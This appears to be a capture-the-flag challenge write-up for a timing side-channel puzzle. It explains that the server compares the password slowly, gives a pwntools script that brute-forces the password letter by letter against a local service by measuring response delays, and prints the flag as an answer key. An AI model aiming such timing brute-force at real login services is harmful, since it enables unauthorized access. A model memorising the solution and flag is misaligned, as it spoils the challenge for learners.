54 lines
1.4 KiB
Markdown
54 lines
1.4 KiB
Markdown
## Difficulty
|
|
85/100
|
|
tbh wss is
|
|
100/100 beter, ma ik wil het da nie geven cuz ik wil nie degene zijn
|
|
da zegt MIJN CHALLENGE IS DE MOEILIJKSTE dus ja we zullen zien na testing
|
|
|
|
|
|
## Category
|
|
Misc
|
|
|
|
## How To Solve
|
|
This is a timing comparison attack challenge. The password is compared
|
|
really slowly and by timing the duration of the answer, you can smart
|
|
bruteforce the password.
|
|
|
|
The duration of the comparison of one character is 0.1. This can be
|
|
timed by sending the alphabet letter by letter to the server and
|
|
timing the responses. The letter "s" would take longer to send back
|
|
because it is the first letter of the password.
|
|
|
|
Here is a solution script:
|
|
|
|
```py3
|
|
from pwn import *
|
|
|
|
def find(password, prevtime):
|
|
for c in string.ascii_lowercase:
|
|
new_pass = password + c
|
|
print(new_pass)
|
|
|
|
conn = remote("localhost", 3002)
|
|
conn.recv()
|
|
t = time.time()
|
|
|
|
conn.send((new_pass + "\n").encode())
|
|
ans = conn.recvline(timeout=prevtime + 1)
|
|
endtime = time.time() - t
|
|
print(endtime)
|
|
if endtime - prevtime > 0.08:
|
|
conn.close()
|
|
find(new_pass, endtime)
|
|
break
|
|
|
|
conn.close()
|
|
|
|
find("", 0)
|
|
```
|
|
|
|
## Hints
|
|
- I hope you payed attention to the course automata and computability!
|
|
- It might be useful information that my friend is German.
|
|
|
|
## Flag
|
|
IGCTF{THANKYOUALANTURINGITCOULDNOTHAVEBEENEASY} |